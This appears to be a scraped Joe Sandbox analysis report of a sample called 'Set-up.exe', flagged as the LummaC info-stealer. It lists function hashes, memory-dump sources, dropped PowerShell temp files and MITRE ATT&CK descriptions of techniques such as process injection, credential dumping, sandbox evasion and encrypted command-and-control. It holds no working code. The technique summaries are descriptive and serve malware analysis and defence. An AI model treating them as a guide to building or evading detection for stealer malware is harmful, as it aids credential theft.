Instruction ID: 3e02a72aa00745db89144154a497216447c533a8cc48d28e55294db497d7289f
Opcode Fuzzy Hash: 20dea82c382dc0ad6a95ba2603a5b7c492b27c9ab9cf8dbc89d8670066af1333
Instruction Fuzzy Hash: 4D110478A00209DFCB00CF9CD8809AEFBB5FF89310B158599E919AB351C731EC41CBA0

Function 0303D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2500457699.000000000303D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0303D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_303d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74fcc3673c8d2d31815110e5d017e218bdf94aa0e0c90c6a0579dea7e425214
Instruction ID: 1ee2e01b69d8f1649bdd891ab567efff7dc6ba885e57dfed9d7df1b45d9d8666
Opcode Fuzzy Hash: d74fcc3673c8d2d31815110e5d017e218bdf94aa0e0c90c6a0579dea7e425214
Instruction Fuzzy Hash: B2012D7240A3849FE7528B25CC94792BFA8EF43624F1984DBE9848F1A7C2685845CB72

Function 0303D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2500457699.000000000303D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0303D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_303d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4005b8d034e532eba7a3044c49f6bc363c212bc575b8817ecb465a85ac1fbdb
Instruction ID: 509784b32a370fa202b955dd5fd16ce85a0be0812f5eef1731c5169134a7e6ce
Opcode Fuzzy Hash: b4005b8d034e532eba7a3044c49f6bc363c212bc575b8817ecb465a85ac1fbdb
Instruction Fuzzy Hash: 2501F7314063049AE710CB25C984BA7FFDCDF42A24F1C8459ED090A142C278D442CAB1

Function 0314429E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2500865192.0000000003140000.00000040.00000800.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680c3682d2b2a67759400ac204a6b4cfac74769c245709e6d90c040009e3c2af
Instruction ID: 047e76e11cfa98abcabcce445bdf8dd969659ac11af1e776ad204ef80ded5b4a
Opcode Fuzzy Hash: 680c3682d2b2a67759400ac204a6b4cfac74769c245709e6d90c040009e3c2af
Instruction Fuzzy Hash: A5F0B735A001059FCB15CB9DD990AEEF7B1FF88324F248159E615A72A1C736A852CB50

Non-executed Functions

Function 07910DF8 Relevance: 5.5, Strings: 4, Instructions: 487COMMON

Download Yara Rule

Strings

Nl, xrefs: 07910EED
Nl, xrefs: 07911396
Nl, xrefs: 07911388
Nl, xrefs: 07910EDF

Memory Dump Source

Source File: 00000006.00000002.2512059005.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7910000_powershell.jbxd

Similarity

API ID:
String ID: Nl$Nl$Nl$Nl
API String ID: 0-3615945270
Opcode ID: c92e1d3bb4bf43e944663d45946c6f6edaaf1dd22e46788b9f4c32b04d78f0ff
Instruction ID: cd6e5cdce3c0b301a2337c6399af6e95259ef93373a81b2600ce1c4f168a165f
Opcode Fuzzy Hash: c92e1d3bb4bf43e944663d45946c6f6edaaf1dd22e46788b9f4c32b04d78f0ff
Instruction Fuzzy Hash: C7F15AB6B0021EDFDB10CB6898116BAFBE9AFC6215F14847BD605CB751DB32C891C791

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 'Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wwbpwwa.jcq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0ned0ju.2fm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2tzhewd.enn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocfzhfpo.0hm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plztfcao.hz5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tg3dv5s1.egw.ps1

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
'Set-up.exe

Function 02850AF1 Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Function 028503E1 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Function 028509A1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 0289CE1F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 0289BA71 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 028862F1 Relevance: 41.6, Strings: 33, Instructions: 300
COMMON

Function 02885B21 Relevance: 39.2, Strings: 31, Instructions: 409
COMMON

Function 02884FF6 Relevance: 37.9, Strings: 30, Instructions: 400
COMMON

Function 02871DEE Relevance: 24.4, Strings: 19, Instructions: 643
COMMON